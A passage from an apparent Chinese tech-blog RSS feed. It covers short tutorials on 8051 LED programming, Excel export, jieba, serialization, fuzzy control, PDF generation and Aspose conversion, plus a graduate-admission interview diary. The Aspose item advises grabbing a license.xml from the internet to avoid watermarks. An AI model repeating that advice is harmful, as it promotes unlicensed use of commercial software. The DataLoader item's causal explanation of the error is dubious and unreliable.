      <description>1. 双击打开Proteus&#xA;2. 打开下面显示的界面后，点击“新建工程”&#xA;3.跳出这个界面&#xA;4.修改名字为“流水灯”，点击浏览选择自己想放置的位置（根据个人需求，不想改也可以用上面的默认路径，记得就行）&#xA;5.点Next&#xA;6.点Next&#xA;7.点Next&#xA;8.点Finish&#xA;9. 新建工程成功&#xA;10.接下来绘制原理图，先看成品，接下来详细讲解电路绘制过程。&#xA;11.放置单片机（这里我用的是AT89C52，你也可以选你想用的单片机）。&#xA;先点击这个黄色三角形，元件模式。 然后点击P按钮→在keywords一栏输入关键字搜索器件→点击AT89C52（或者你想用的单片机）→确定&#xA;然后可以看到左上角的小框里出现了刚才选择的单片机，同时鼠标会变成黑色小铅笔&#xA;然后鼠标左键点击一下，出现单片机的紫色轮廓，此时移动鼠标可以移动单片机，选择一个你觉得合适的位置，再点击一下鼠标左键，就成功放置单片机了。&#xA;放置好单片机如下：&#xA;想移动单片机的话，可以右键器件，点击“移动对象”。&#xA;12. 绘制时钟电路。所需器件：两个30pF的电容（关键字：CAP），一个晶振（关键字：STAL），一个地（关键字：GROUND）。&#xA;按照上面的步骤分别放置好这些器件：P→输入keywords关键字→选择器件→鼠标左键点一下选择合适位置→鼠标左键再点一下放置器件。&#xA;①电容（CAP）：&#xA;第二个电容可以直接复制第一个电容得到：单击选中C1→复制→粘贴&#xA;记得修改两个电容的值：双击1nF→跳出编辑零件值窗口→在字符串一栏修改数值为30pF→确定&#xA;②晶振（STAL）：&#xA;③地（GROUND）：先选终端模式，再选择器件。&#xA;④连线：把鼠标放在器件的一端，会出现一个红色小方块，左键点击一下，然后找到你想连的器件输入或者输出端，放在上面时同样会出现红色小方块，左键点击一下，一条线就连好了。重复这个过程，连接成下面所示的时钟电路。&#xA;时钟电路：&#xA;13：绘制复位电路。&#xA;所需器件：一个电容，两个电阻，一个按键，一个地。&#xA;①电容（CAP）：注意选的是CAP-ELEC&#xA;②电阻（RES）&#xA;③按键(BUTTON)：&#xA;④地：先选终端模式（那两个黄色反向箭头），再点击GROUND&#xA;⑤顺便再放一个VCC待会把EA管脚一起接了：&#xA;⑥按照下面的电路图连线，注意R9的阻值为330，你这个位置的电阻也要改成330。&#xA;14.绘制流水灯电路。&#xA;所需器件：8个LED灯，8个电阻（用于限流），一个VCC。&#xA;LED灯：&#xA;电阻和VCC前面说过了，不再赘述。&#xA;按照下面的电路连接：&#xA;15.到这里，流水灯原理图电路就算完成了。&#xA;16.接下来该写实现流水灯的代码了，这里用到的是 Keil uVision5 。&#xA;17.双击Keil uVision5进入。&#xA;18.新建工程：打开keil → project → New μVision Project&#xA;19.输入工程名称，点击保存，新建成功。&#xA;20.新建空白文档。&#xA;21.将下面的代码写进文档。&#xA;#include&amp;lt;reg52.h&amp;gt; void delay(unsigned int i); int main(void) { while(1) { P2=0xfe; //1111 1110 delay(50000); P2=0xfd; //1111 1101 delay(50000); P2=0xfb; //1111 1011 delay(50000); P2=0xf7; //1111 0111 delay(50000); P2=0xef; //1110 1111 delay(50000); P2=0xdf; //1101 1111 delay(50000); P2=0xbf; //1011 1111 delay(50000); P2=0x7f; //0111 1111 delay(50000); } } void delay(unsigned int i) //延时函数 { while(i--);&#x9;} 21.</description>
    </item>
    <item>
      <title>推免面试经历 | 南理&#43;湖大&#43;浙大&#43;华工&#43;南航&#43;吉大&#43;中南&#43;重大</title>
      <link>https://bchobby.github.io/posts/ebead4168433df1aceb1259c37e97094/</link>
      <pubDate>Thu, 03 Nov 2022 16:43:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ebead4168433df1aceb1259c37e97094/</guid>
      <description>9月疯狂投了一堆学校预推免。下面讲一些进入复试的学校。&#xA;南京理工大学 当时想着要是实在没有985就读，就去211强校吧。所以我投了南理CS学硕，这也是我第一个面试的学校。当时是微信一位导师面，首先是一段英文自我介绍，接下来基本围绕我在系统上填的比赛项目论文和个人信息问。面试很顺利，半小时后我就收到了offer。个人感觉南理非常重视排名百分比，在211排前5%就肯定能进面试拿offer了。当然在计算机保研交流群里，很多朋友说南理问了很多刁钻的专业问题。我个人猜测，双非或排名不前，就是多导师平台面试，会比较难。&#xA;湖南大学 这个学校是我最早填的，有很大概率也有无数次想法去湖大就读。湖大简直不能再海了hh，预推免面试了上千人。我那场的面试首先是一段英文自我介绍，然后逐个老师问问题。&#xA;你最擅长的一门专业课是？我回答分数上计网更高但我更喜欢数据结构，也对其有更好的理解。追问我对数据结构的理解，我回答了大段话然后老师哈哈大笑说很好。接下来的老师都是问项目的细节。&#xA;我面试的是电子信息（软件过程）专业，结果排名第二。在28号那天填了湖大，半小时就收到了offer。（还打电话让我15mins内确认志愿）&#xA;浙江大学软件学院 机考好像占比15%，面试占比85%。中文机考四道题，前两道都是思维题，对我来说思考时间比较久，实现很容易。后面没时间就直接骗分。最后我考了49分（满分100）。面试时感觉非常严谨和正式，现场十多位老师。首先是在个人展示PPT中穿插1mins以上的英文介绍。然后老师们问比较多项目的细节，比方说除了这一种方法，你知道还有其他方法可以解决这个问题嘛？为什么这个技术可以解决这个问题？专业问题是：‘C++和Java的本质区别’？这个我答解释性语言和编译性语言的点，然后老师提示往安全和内存那边思考，最后没有答上来哈哈。结果是递补110+名，在下午三点接到浙软电话。多少有点可惜哈哈哈&#xA;华南理工大学 首先挑一道英文题，两小问，第一个是问我最感兴趣的AI应用，第二个是直接翻译一段话（AI相关的）。我第一个直接卡顿了，英文题答得超级卡顿和紧张。然后就开始展示我的自我介绍pdf。老师提问：参加这么多比赛和项目，时间怎么平衡的？也问了项目和论文的细节。没有问专业课问题。结果是84.4分，CS学硕的线是85.5，又是递补。华工bar很高，所以递补大概率能进的。提前打其招生办电话被告知没希望补录上，我在28日晚上七点才接到华工递补得上的电话，老师告知他们四五点才开始核查志愿放弃情况。效率比较慢，递补的同学都可以耐心等等。&#xA;南京航天航空大学 我要狠狠夸一下南航。面试挺严谨和专业的，面试老师特别温柔。这是我面试中唯一一个和我英文对话的学校，那位老师发音特别纯正。问为什么要来我们学校，我本来想说南航工科强势，然而南航不知道怎么用英文表达，直接卡了一会。然后中文自我介绍，项目介绍，提问项目相关问题也问了本人英文水平。可能是面试官特别想捞我，最后结果出来，我在一千多人里面排40+，很前。在28号那位温柔的面试老师打电话问我有没有来南航。他说他给我打分很高打算带我做研究，他真的态度超好。个人认为能跟对好导师比学校title重要很多，而且南航也算是头部211了。我至今想起来仍觉得很值得去。&#xA;吉林大学 这算是意外之外的选择了，我应该是27号早上才面试的。挑一道英文题和一道专业问题。也是一段英文现场翻译，这次会比较不慌了哈哈。专业问题很简单，是回答C++题的数组输出结果。然后是一分钟自我介绍，老师们再围绕我的简历提问，问项目和论文。个人感觉这场表现得还可以，至少是不紧张的状态。结果在28号是最快打电话给我的学校，我就看着表犹豫了很久还是上了。感觉CS学科实力A-也挺好了哈哈哈&#xA;中南大学 在保研交流群看到有群友分享中南在开腾讯会议紧急面试（我想大概是被鸽穿了）。这是28号当天面试的学校，时间非常紧张。一分钟展示PPT，提问一两个项目问题，然后就结束了。没有说任何结果，而且听说中南非常海，我也不敢填。要是当时能够及时去注意到垃圾邮箱里的邮件就能参加他夏令营了。听说中南夏令营基本都发了offer。&#xA;重庆大学 XXX！退钱！这是我唯一需要交钱面试的学校。而且也很海，给很多人发了面试交钱邮件。最印象深刻的问题是，还报了哪些学校？我觉得这里强调自己非常想去只想去重庆大学的话比较容易拿offer。由于这个问题我答得不好，结果是递补。其他问题千篇一律，和其他学校差不多。&#xA;天津大学 和浙软一样，是机考和面试。不一样的是，天大需要机考前200名才给面试机会，而且机考只能用C/C++。想不起来什么题目了，我机考太菜，没进面试。&#xA;10月28日可谓是一个非常紧张的日子。我也从没想过华工浙软吉大南航都要我。一开始还沉浸在选择湖大还是南理上。录取吉大后，我也很快就和心仪导师双向选择了。相信一切都是最好的安排。 [经过那段时间不断的报名交材料面试，我对于保研有了更深的一些认识，包括信息的获取、院校导师的选择、文书模板（好的文书真的非常重要，我夏令营就是吃了文书的亏）、英语/专业问题准备、联系导师等等。如果有特别想了解的内容或资料也欢迎大家后台留言哟。](https://mp.weixin.qq.com/s/NAZueN28k3602Z-4j8wPlg) 现在正在实习，这段时间我对于计软专业就业有了全新的认识，这也直接影响我研究生期间的规划。打算实习结束再写篇推文和大家分享我的感悟，想看的朋友可以点关注公众号支持一下哈哈哈哈。 [如果有任何问题也欢迎关注公众号后台留言，看到都会尽快回复嘻嘻](https://mp.weixin.qq.com/s/NAZueN28k3602Z-4j8wPlg)。 https://mp.weixin.qq.com/s/NAZueN28k3602Z-4j8wPlg</description>
    </item>
    <item>
      <title>如何剪辑电影视频片段？影视剪辑的方法介绍</title>
      <link>https://bchobby.github.io/posts/eaf5eabb983fbd368fe19e815369343f/</link>
      <pubDate>Thu, 03 Nov 2022 15:54:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eaf5eabb983fbd368fe19e815369343f/</guid>
      <description>如何剪辑电影视频片段？不知道大家平时有没有看到一些精彩的影视剪辑片段，所谓的电影视频片段其实就是将一部电影中的精彩部分剪辑到一起。这种剪辑手法在如今还是十分常见的，学会这样的剪辑方法，我们不仅可以进行视频剪辑，而且还可能会给自己带来收益。下面小编就来教大家如何进行剪辑。&#xA;步骤一：新建项目 打开电脑上的【视频剪辑软件】，进入软件的首页，新建一个视频序列。如果是需要使用其他操作比如视频分割、视频合并、视频压缩等，我们就可以直接点击右侧的相应的选项即可。&#xA;步骤二：导入视频 新建好项目之后，点击【文件】-【导入】选项，上传准备好的视频文件，并将其拖动到时间轴面板上，排列好。&#xA;步骤三：进行编辑 我们已经做好准备工作之后，接下来我们对视频进行编辑。看到在软件的左上方位置的工具栏里面有着文字、贴纸、滤镜、转场等操作。每次的编辑我们都可以在右侧进行预览，不满意的话可以直接撤销。&#xA;步骤四：点击导出 编辑完成之后，我们可以整体预览一下制作的效果，然后点击下方的【导出】按钮。&#xA;以上就是小编给大家介绍的剪辑电影视频片段的具体方法了，相信大家应该已经学会了具体的方法了，那么就可以动手试一试哦！</description>
    </item>
    <item>
      <title>EasyExcel生成多个exel文件并zip压缩</title>
      <link>https://bchobby.github.io/posts/64326a30a9fec0c5100ed33f487227f9/</link>
      <pubDate>Thu, 03 Nov 2022 15:19:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64326a30a9fec0c5100ed33f487227f9/</guid>
      <description>前言 最近项目上有个关于excel导出的需求，要求如下：&#xA;1，表头除了固定的几个，可以动态添加，比如下面表格，范围1，时间，值是固定，其他的表头都是动态的&#xA;2，范围1，范围2，范围3是合并列&#xA;3，范围2，范围3是联动的&#xA;4，自适应宽高，自适应居中，样式设置&#xA;5，生成多个excel最后zip压缩&#xA;注意：&#xA;1，因为产品的需求，合并列范围1，范围2，范围3严格遵守合并的格式，并不是任意合并，所以比较复杂。&#xA;2，不支持列与列之间的合并，如果想要支持，可以基于此demo开发是没任何问题的。&#xA;POM &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.5.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.18.20&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- https://mvnrepository.com/artifact/com.alibaba/easyexcel --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;easyexcel&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.0.5&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.postgresql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;postgresql&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;42.2.5&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;druid&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.1.22&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.mybatis.spring.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.2.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;io.springfox&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;springfox-swagger-ui&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.8.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;cn.hutool&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;hutool-all&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.7.7&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 设计 1，数据库获取数据用List&amp;lt;Map&amp;lt;String,Object&amp;gt;&amp;gt;，后面需要转换成List&amp;lt;List&amp;gt;(原因：easyexcel对List不兼容)&#xA;代码如下 压缩工具类 public class ZipUtils { private static final Charset DEFAULT_CHARSET = Charset.defaultCharset(); /** * 将文件流压缩到目标流中 * * @param out 目标流，压缩完成自动关闭 * @param fileNames 流数据在压缩文件中的路径或文件名 * @param ins 要压缩的源，添加完成后自动关闭流 */ public static void zip(OutputStream out, List&amp;lt;String&amp;gt; fileNames, List&amp;lt;InputStream&amp;gt; ins) { zip(out, fileNames.</description>
    </item>
    <item>
      <title>jieba分词器使用指南</title>
      <link>https://bchobby.github.io/posts/99be2c3629ac26bdd59cc8c8735da8d4/</link>
      <pubDate>Thu, 03 Nov 2022 11:01:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99be2c3629ac26bdd59cc8c8735da8d4/</guid>
      <description> 简单易用的分词器分享，使用jieba分词java版（支持中文）实现。&#xA;文章目录 一.分词应用场景二.分词难点三.分词实现总结 一.分词应用场景 统计文章高频关键词&#xA;比如我有一篇文章，我要统计文章中出现词语频率最高的前5名&#xA;分析一句话或者一段话中词语出现的次数&#xA;提取词语&#xA;…&#xA;二.分词难点 由于这里我们考虑使用中文分词器，所以一些特定词语也需要能够支持识别，例如赛博朋克等新兴词语。另外一些介词或者语气助词最好不在统计范围内，比如的，地，得…&#xA;并且还有一个特点，就是在较短的时间内能够分析出结果。&#xA;三.分词实现 结合以上难点的分析，我们接下来使用开源的jieba分词进行实现。首先最开始这是一个python实现版本，源仓库：https://github.com/fxsjy/jieba&#xA;后来在团队huaban的改进下，支持了java版本，再到后来由于huaban团队停止了维护，就由Xinyao Qian个人开发经手维护开发，源仓库：https://github.com/huaban/jieba-analysis&#xA;使用方法很简单，源码示例：&#xA;public static void main(String[] args) { String content=&#34;孩子上了幼儿园 安全防拐教育要做好&#34;; int topN=5; TFIDFAnalyzer tfidfAnalyzer=new TFIDFAnalyzer(); List&amp;lt;Keyword&amp;gt; list=tfidfAnalyzer.analyze(content,topN); for(Keyword word:list){ // 防拐:0.1992,幼儿园:0.1434,做好:0.1065,教育:0.0946,安全:0.0924 System.out.print(word.getName()+&#34;:&#34;+word.getTfidfvalue()+&#34;,&#34;); } } 通过分析词语出现频率就能够满足计算出高频词等需求。&#xA;同时还能够配置停用词stop_words.txt以及自定义词库idf_dict.txt。&#xA;总结 我们站在巨人的肩膀上，所以能看的更远，致敬前辈。&#xA;参考资料：&#xA;TF-IDF理解及其Java实现 python实现源仓库java实现源仓库 </description>
    </item>
    <item>
      <title>Java对象序列化、Hessian、Json</title>
      <link>https://bchobby.github.io/posts/7fecc0a2ae6e56357c70bc67f17796cf/</link>
      <pubDate>Thu, 03 Nov 2022 09:24:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7fecc0a2ae6e56357c70bc67f17796cf/</guid>
      <description>Java对象序列化、Hessian、Json 内存中的数据对象只有转换为二进制流才可以进行数据持久化和网络传输。将数据对象转换为二进制流的过程称为对象的序列化（Serialization）。 反之，将二进制流恢复为数据对象的过程称为反序列化（Deserialization）。 序列化需要保留充分的信息以恢复数据对象，但是为了节约存储空间和网络带宽，序列化后的二进制流又要尽可能小。 序列化常见的使用场景是 RPC 框架的数据传输。常见的序列化方式有三种&#xA;JAVA原生序列化 Java 类通过实现 Serializable 接口来实现该类对象的序列化，这个接口非常特殊，没有任何方法，只起标识作用。 Java 序列化保留了对象类的元数据（如类、成员变量、继承类信息等），以及对象数据等，兼容性最好，但不支持跨语言，而且性能一般。 实现 Serializable 接口的类建议设置 serialVersionUID 字段值，如果不设置，那么每次运行时，编译器会根据类的内部实现 包括类名、接口名、方法和属性等来自动生成serialVersionUID。 如果类的源代码有修改，那么重新编译后 serialVersionUID 的取值可能会发生变化。因此实现 serializable 接口的类一定要显式地定义serialVersionUID 属性值。 修改类时需要根据兼容性决定是否修改 serialVersionUID如果是兼容升级，请不要修serialVersionUID 字段 避免反序列化失败。 如果是不兼容升级，需要修改 serialVersionUID 值，避免反序列化混乱。 使用 Java 原生序列化需注意， Java 反序列化时不会调用类的无参构造方法，而是调用 native 方法将成员变量赋值为对应类型的初始值。 基于性能及兼容性考虑，不推荐使用 Java 原生序列化。&#xA;Hessian 序列化 Hessian 序列化是一种支持动态类型、跨语言、基于对象传输的网络协议。 Java 对象序列化的二进制流可以被其他语言 (C++/Python）反序列化。 Hessian 协议具有如下特性： 自描述序列化类型。不依赖外部描述文件或接口定义用一个字节表示常用基础类型，&#xA;极大缩短二进制流。 语言无关，支持脚本语言。 协议简单，比 Java 原生序列化高效。 相比 Hessian 1.0, Hessian 2.0 中增加了压缩编码，其序列化二进制流大小是 Java序列化的 50% 序列化耗时是 Java 序列化的 30 ，反序列化耗时是 Java 反序列化的20% Hessian 会把复杂对象所有属性存储在一个 Map 进行序列化.</description>
    </item>
    <item>
      <title>在matlab中使用模糊编辑器实现模糊控制器的设计详解</title>
      <link>https://bchobby.github.io/posts/62f6502b7199f73602b08dea36742fed/</link>
      <pubDate>Wed, 02 Nov 2022 21:14:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62f6502b7199f73602b08dea36742fed/</guid>
      <description>目录&#xA;一、理论基础&#xA;二、核心程序&#xA;三、测试结果&#xA;一、理论基础 所谓模糊控制技术是指通过模糊集合和模糊逻辑等原理，并且和经典的控制理论相结合，并通过模拟人类的思考方式，对一些难以建模的控制对象进行控制的一种控制策略。模糊控制器的模糊规则的制定是建立在专家经验的基础之上的，即通过具有丰富经验的专家对控制对象进行分析，并基于个人经验建立一套合理的控制机制，通过参数化的方式将这些经验用具体的数学参数和公式进行建模，从而得到一个符合实际情况的控制。这种控制策略通过使用专家经验知识，将专家的经验转换为控制方式，对过程复杂、模型不精确的控制系统进行有效的控制。这种将个人的经验转换为具体的数学公式，并通过模糊数学理论将其转换为模糊控制的过程，就是模糊控制理论。通常情况下，模糊控制器的基本结构如图所示。&#xA;从图的模糊控制器的基本结构图可知，模糊控制器的核心部分包括控制变量计算，模糊量化处理，模糊控制规则，模糊决策以及逆模糊化处理五个模块。整个控制系统通过计算机编程来实现的，将模糊控制器的反馈输出信号和参考输入信号的误差作为整个模糊控制器的输入控制信号，将误差信号转换为模糊量，并通过模糊语言来表示，从而得到的模糊语言集合的一个子集e，然后由子集e和模糊控制规则R，然后根据模糊推理的合成规则进行模糊决策，得到模糊控制量u，u的关系。&#xA;一个标准的模糊控制系统和传统的控制方法想比较有如下几个优点：首先，模糊控制器具有较为广泛的应用范围，这种特性比较适合应用在非线性系统中；其次，模糊控制器的控制过程独立于控制对象，且对于一些较为复杂的难以建模的控制对象，可以通过模糊控制器进行有效的控制。模糊控制器具有较好的鲁棒性，对被控对象的特征变化不敏感，而且模糊控制器的设计参数可随时根据需要进行调整。模糊控制以计算机为主，模糊控制的数学计算都由计算机来完成，得到的结果精确，表现出很强的智能性，操作简单易实现。&#xA;模糊控制器中的模糊控制规则表格的制定是通过模糊条件语句来设计的，所以模糊控制器本质上也是一种模糊语言控制器，即一个标准的模糊化控制器包括模糊接口、知识库和推理以及解模糊接口。&#xA;对于一个模糊输入变量，模糊子集通的划分主要三种类型：&#xA;五个模糊集合的控制变量，即负大(Negative big，NB)，负小(Negative small，NS)，零(Zero，ZO)，正小(Positive small，PS)，正大(Positive big，PB)；&#xA;六个模糊集合的控制变量，即负大(Negative big，NB)，负中(Negative middle，NM)，负小(Negative small，NS)，零(Zero，ZO)，正小(Positive small，PS)，正中(Positive middle，PM)，正大(Positive big，PB)；&#xA;七个模糊集合的控制变量，即负大(Negative big，NB)，负中(Negative middle，NM)，负小(Negative small，NS)，零负(Negative Zero，NZ)，零正(Positive Zero，NZ)，正小(Positive small，PS)，正中(Positive middle，PM)，正大(Positive big，PB)。&#xA;根据控制器控制精度的不同需求，选择不同划分精度的模糊输入变量。&#xA;首先对于模糊控制库，其结构上由一个规则库和一个数据库两个部分构成。其中规则库中保存的是模糊规则，模糊规则是一种基于专家经验知识，并根据某种推理获得的模糊语言表现；而数据库中保存的是输入、输出的模糊子集的隶属函数值。&#xA;其次对于模糊控制器的推理过程，其主要通过模糊控制器所输入的模糊变量，通过模糊规则来实现模糊推理来获得模糊控制输出量。此输出量是一种模糊矢量信号，需要通过模糊清晰化处理获得精确的控制输出作为最终的控制量，即解模糊过程。&#xA;在一个完整的模糊控制系统中，通过根据输入控制器的个数，将模糊控制器划分为一维模糊控制器，二维模糊控制器以及多维模糊控制器，即通过模糊控制器的输入个数定位模糊控制器的维度，图2所示的是不同输入格式的模糊控制器结构图.&#xA;模糊控制器的语言等级，从负最大到正最大依次为：NB负大、NM负中、NS负小、ZO零、PS正小、PM正中、PB正大。选取模糊语言输入变量E、Ec和输出变量、的模糊值域分别为{NB，NM，NS，ZO，PS，PM，PB}。&#xA;在MATLAB中，使用模糊函数编辑工具设计上述讲述的模糊模糊集和隶属函数。 在图的模糊控制器工具箱设计界面，根据模糊隶属函数的选择原则，系统中的NB和PB采用正态型分布；NM、NS、20、Ps、PM则采用三角形分布，模糊控制器输入输出参数的隶属度函数图。&#xA;图4 模糊控制器输入输出参数隶属度函数&#xA;通过上面的设置，可以获得如下结构的模糊控制器：&#xA;根据模糊规则的性质，并由模糊语言的等级可以得知，模糊控制规则有49条模糊条件语句。故本文所建立的模糊规则表如下所示。&#xA;Kp规则控制表&#xA;Kp&#xA;Ec&#xA;E&#xA;NB&#xA;NM&#xA;NS&#xA;ZO&#xA;PS&#xA;PM&#xA;PB&#xA;NB&#xA;PB&#xA;PB&#xA;PM&#xA;PM&#xA;PS&#xA;ZO&#xA;ZO&#xA;NM&#xA;PB&#xA;PB&#xA;PM&#xA;PS&#xA;PS&#xA;ZO&#xA;NS</description>
    </item>
    <item>
      <title>html2Canvas &#43; jsPDF vue生成pdf（A4纵向或A3横向）</title>
      <link>https://bchobby.github.io/posts/05cd2e05dec5507bb0a0bc408d144631/</link>
      <pubDate>Wed, 02 Nov 2022 19:33:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05cd2e05dec5507bb0a0bc408d144631/</guid>
      <description>1：&#xA;第一个.将页面html转换成图片 npm install --save html2canvas 第二个.将图片生成pdf npm install jspdf --save 2：创建名称 htmlToPdf.js&#xA;// 页面导出为pdf格式 import html2Canvas from &#39;html2canvas&#39; import jsPDF from &#39;jspdf&#39; const htmlToPdf = { getPdf(title, url) { html2Canvas(document.querySelector(&#39;#pdfDom&#39;), { allowTaint: false, taintTest: false, logging: false, useCORS: true, dpi: window.devicePixelRatio * 4, // 将分辨率提高到特定的DPI 提高四倍 scale: 4 // 按比例增加分辨率 }).then(canvas =&amp;gt; { // eslint-disable-next-line new-cap var pdf = new jsPDF(&#39;l&#39;, &#39;mm&#39;, &#39;a3&#39;) // A3纸，横向 // var pdf = new jsPDF(&#39;p&#39;, &#39;mm&#39;, &#39;a4&#39;) // A4纸，纵向 var ctx = canvas.</description>
    </item>
    <item>
      <title>RuntimeError: DataLoader worker (pid(s) 46220) exited unexpectedly</title>
      <link>https://bchobby.github.io/posts/e678d060a3c0471450e5e02a3dcb53d4/</link>
      <pubDate>Wed, 02 Nov 2022 18:05:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e678d060a3c0471450e5e02a3dcb53d4/</guid>
      <description>raise RuntimeError(‘DataLoader worker (pid(s) {}) exited unexpectedly’.format(pids_str)) from e&#xA;RuntimeError: DataLoader worker (pid(s) 46220) exited unexpectedly&#xA;其实吧，这个问题说难不难，说简单也简单。&#xA;出现这个Error很明显，就是CPU加载数据和GPU处理数据速度不匹配了，而且不是以往那种CPU利用率拉满，而GPU虽然占用率拉满，但实际利用率不高的情况。打个比方，以前是cpu加载数据要个20-30s，但gpu零点几秒就处理完成了，从而一直等待。这种情况只会让模型运行时间变长而已。&#xA;torch.utils.data.DataLoader(datasets[x], batch_size=batch_size, shuffle=True, num_workers=8, pin_memory=True) 现在则是两极反转，Dataloader的batchsize设置的比较大(64,128)，而且还使用多个num_workers去多进程load数据，比如16-32个，甚至还把pin_memory设为True了。导致cpu加载数据快到飞起，反而GPU跟不上了，就会出现异常，然后杀死进程，出现如上结果。&#xA;解决方案 就是根据以上提的三点来呗&#xA;batchsize减小num_workers设的小一点，比如2，甚至不设置(默认为1)pin_memory = False 以上3点使用一至两种一般就能解决，不行就都用。&#xA;并且把数据加载，预/后处理这种IO任务让GPU去做, load checkpoint的时候 map_location也别设成cpu了，这么拉后腿，肯定可以成功。</description>
    </item>
    <item>
      <title>可预览文件转PDF-使用Aspose</title>
      <link>https://bchobby.github.io/posts/faa93b00b91e8e2770d10536a56a3695/</link>
      <pubDate>Wed, 02 Nov 2022 17:10:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/faa93b00b91e8e2770d10536a56a3695/</guid>
      <description>Word、Excel、TXT、PDF文件等转PDF--使用Aspose 需求背景Word、Excel文档转PDFPPT转PDF图片转PDF 需求背景 支持各种文件上传，并支持部分文件的预览。&#xA;由于项目前端的文件预览需要支持以下格式，但是ppt、txt无法预览，需要转换为PDF查看。&#xA;1.docx、doc文件起初使用documents4j，因为项目是部署在Linux上的，本地转换是正常的，在Linux上执行需要ms office，执行不了vbs，会报错，最后换成了Aspose。&#xA;2.Excel文件用documents4j转换时效果不好，列数太多，宽度太宽会分页显示，也换成Aspose来处理。&#xA;word和excel都参考了这个地址 传送门。&#xA;3.ppt使用 itextpdf 和 poi，转换为图片再写入PDF中。&#xA;Word、Excel文档转PDF 下载aspose-word的jar包，在项目的resource下创建lib，放入jar包。网上找个license.xml也放在resource下。没有license会有水印。&#xA;maven项目，需要在pom文件中引入依赖，项目打包时也要把jar包打上。&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.aspose&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;cells&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt; &amp;lt;scope&amp;gt;system&amp;lt;/scope&amp;gt; &amp;lt;systemPath&amp;gt;${basedir}/src/main/resources/lib/aspose-cells-8.5.2.jar&amp;lt;/systemPath&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.aspose&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;words&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt; &amp;lt;scope&amp;gt;system&amp;lt;/scope&amp;gt; &amp;lt;systemPath&amp;gt;${basedir}/src/main/resources/lib/aspose-words-16.8.0.jar&amp;lt;/systemPath&amp;gt; &amp;lt;/dependency&amp;gt; 原帖是写的接口，在我的项目中我写成了工具类，方便调用。&#xA;1.载入license授权文件，License导入的是com.aspose.words.License下的，excel导入的是cells下的。&#xA;protected static boolean matchLicense() { boolean result = false; InputStream is = Word2Pdf.class.getClassLoader().getResourceAsStream(&#34;licenses/license.xml&#34;); License wordLicense = new License(); try { wordLicense.setLicense(is); result = true; } catch (Exception e) { log.warn(&#34;载入word授权文件失败&#34;); } return result; } 2.匹配文件类型，doc、docx、txt都支持&#xA;protected static boolean matchFileType(String fileName) { //fileTypes为static变量 fileTypes.</description>
    </item>
    <item>
      <title>接口自动化</title>
      <link>https://bchobby.github.io/posts/529d58229afde985c978851d40aaeede/</link>
      <pubDate>Wed, 02 Nov 2022 16:05:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/529d58229afde985c978851d40aaeede/</guid>
